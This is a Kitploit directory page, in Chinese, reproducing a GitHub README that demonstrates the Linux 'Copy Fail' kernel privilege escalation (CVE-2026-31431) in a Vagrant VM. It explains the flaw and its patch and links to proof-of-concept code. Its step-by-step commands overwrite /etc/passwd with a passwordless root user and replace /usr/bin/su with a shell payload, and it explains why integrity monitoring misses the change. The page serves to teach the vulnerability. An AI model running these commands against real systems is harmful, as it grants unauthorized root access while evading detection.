Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — CVE-2026-31431 的演示和说明 | Kitploit
工具/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
权限提升漏洞分析漏洞利用学习与教育二进制利用
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

CVE-2026-31431 的演示和说明

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
13个月前尚未审核

CVE-2026-31431 CopyFail Linux 本地权限提升

本仓库演示并解释了 CVE-2026-31431,即 Linux 内核复制失败本地权限提升漏洞。该漏洞允许以读取权限打开的文件在页缓存中被覆盖数据。

此仓库仅用于教育目的,并在受控环境中展示该漏洞。
包含的文件如下:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # 自定义漏洞利用程序,可针对任何具有读取权限的文件
│   ├── original_payload.txt    # 原始漏洞利用程序使用的 payload 副本
│   ├── copy_fail_original.py   # 原始漏洞利用程序,会覆盖 /usr/bin/su
│   └── copy_fail_readable.py   # 更易读的原始漏洞利用程序,并包含对 payload 的解释
├── README.md
└── Vagrantfile                 # 运行 Ubuntu 22.04 的 Vagrant 虚拟机配置

介绍

该漏洞名为 Copy Fail,存在于 2017 年至 2026 年的 Linux 内核中,原因是 algif_aead 中的逻辑缺陷。漏洞编号为 CVE-2026-31431,CVSS 评分 7.8,评级为高危。该漏洞利用是确定性的,且可绕过传统的文件完整性监控工具。

已有多种语言(包括 C、Python 和 Go)发布了概念验证代码,但本演示使用 Python,需要 Python 3.10 或更高版本。
该漏洞利用需要以低权限用户在本地执行代码,并可用于本地权限提升。

以下各节内容包括:

  • 漏洞利用: 演示漏洞如何被用于获取 root 权限。
  • 关于漏洞利用检测的说明: 解释为何传统文件完整性监控工具难以检测该漏洞。
  • 漏洞: 引入该漏洞的提交链接及问题解释。
  • 补丁: 修复该漏洞的提交链接及修复说明。
  • 更多资源: 进一步阅读的资源列表及各语言实现的链接。

漏洞利用

环境搭建

确保已安装 Vagrant 和 QEMU。然后克隆此仓库并进入项目目录。

root@kitploit:~
vagrant up
vagrant ssh

在虚拟机内,我们可以测试当前能力的限制。

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # 系统会提示输入 root 密码,而我们不知道密码

stat /usr/bin/su # 我们拥有读取和执行权限
stat /etc/passwd # 我们拥有读取权限
stat /etc/shadow # 我们没有权限

显然,我们的能力受限,但可以利用该漏洞提升权限。

漏洞利用演示 1:理解漏洞原理

为了理解该漏洞,我们覆盖一个虚拟文件并观察发生了什么。

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

我们有一个包含三行的文件。第一行有 6 个字节(包括换行符),第二行有 2 个字节,第三行有 1 个字节。这一点很重要,因为漏洞利用程序以 4 字节块覆盖数据,我们需要填充 payload 使其对齐。

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

可以看到,文件的前 8 个字节已被我们的 payload 替换。其中有两个不可打印的字符。可以用 nano 打开文件查看。
但这还不是太令人兴奋,接下来我们尝试写入我们没有写权限的文件。

漏洞利用演示 2:移除 root 密码

我们可以覆盖 /etc/passwd 的内容,添加一个拥有 root 权限但无需密码的用户。

root@kitploit:~
cat /etc/passwd

第一行包含 root 用户,其格式为 root:x:0:0:root:/root:/bin/bash,内容包含 8 组 4 字符(包括换行符),分别代表用户名、密码、UID、GID、家目录、shell。

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

我们添加了一个新用户 hackd,UID 和 GID 均为 0,即拥有 root 权限。密码字段为空,因此可以无需密码登录。

root@kitploit:~
su hackd
id
cat /etc/shadow

漏洞利用演示 3:覆盖可执行文件

在原始漏洞利用程序中,二进制文件 /usr/bin/su 被覆盖为执行 shell 的指令,从而允许攻击者在执行 su 时获得 root 权限。我们可以通过将 payload 从文件读取并覆盖 /usr/bin/su 来重现此漏洞利用。
注意,这会破坏页缓存中的 su 二进制文件。

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

payload 就位后,我们可以执行 su 并获得 root 权限。这将打开一个用户 ID 为 0 的 shell,通常为 root 用户;但如果之前的演示已执行,则会是我们创建的 hackd 用户。即使 root 用户设置了密码,该漏洞利用仍会打开 shell。

root@kitploit:~
su
id

关于漏洞利用检测的说明

此漏洞利用不会修改磁盘上的文件,而是修改页缓存状态。因此,传统的文件完整性监控工具(检查磁盘文件变化)无法检测到该漏洞利用。

为了演示这一点,请执行上述漏洞利用,然后重启虚拟机,检查目标文件的内容。

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # 磁盘上的文件未发生变化

漏洞

漏洞利用中使用了以下组件:

  1. splice
    • 在文件描述符之间传递数据而不进行复制
    • 修改 splice 过的消息也会修改页缓存
  2. recvmsg
    • 接收管道信息并将数据移入缓冲区以供加密操作
    • 输入 AD 和 CT 被复制,TAG 按引用传递 AD||CT||TAG
  3. authensc
    • 假设只有 AD 和 CT 被修改,但 authensc 打破了这一假设
    • AD 被分为 seqno_hi 和 seqno_lo,authensc 在将 TAG 复制到其后时交换了它们的顺序
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • 该序列被复制到引用位置

引入此漏洞的原地优化提交:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

补丁

该补丁未做任何公开声明,移除了 algif_aead 中原地操作的功能:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

更多资源

扩展阅读:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Python 实现

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

C 实现

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Go 实现

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
下载工具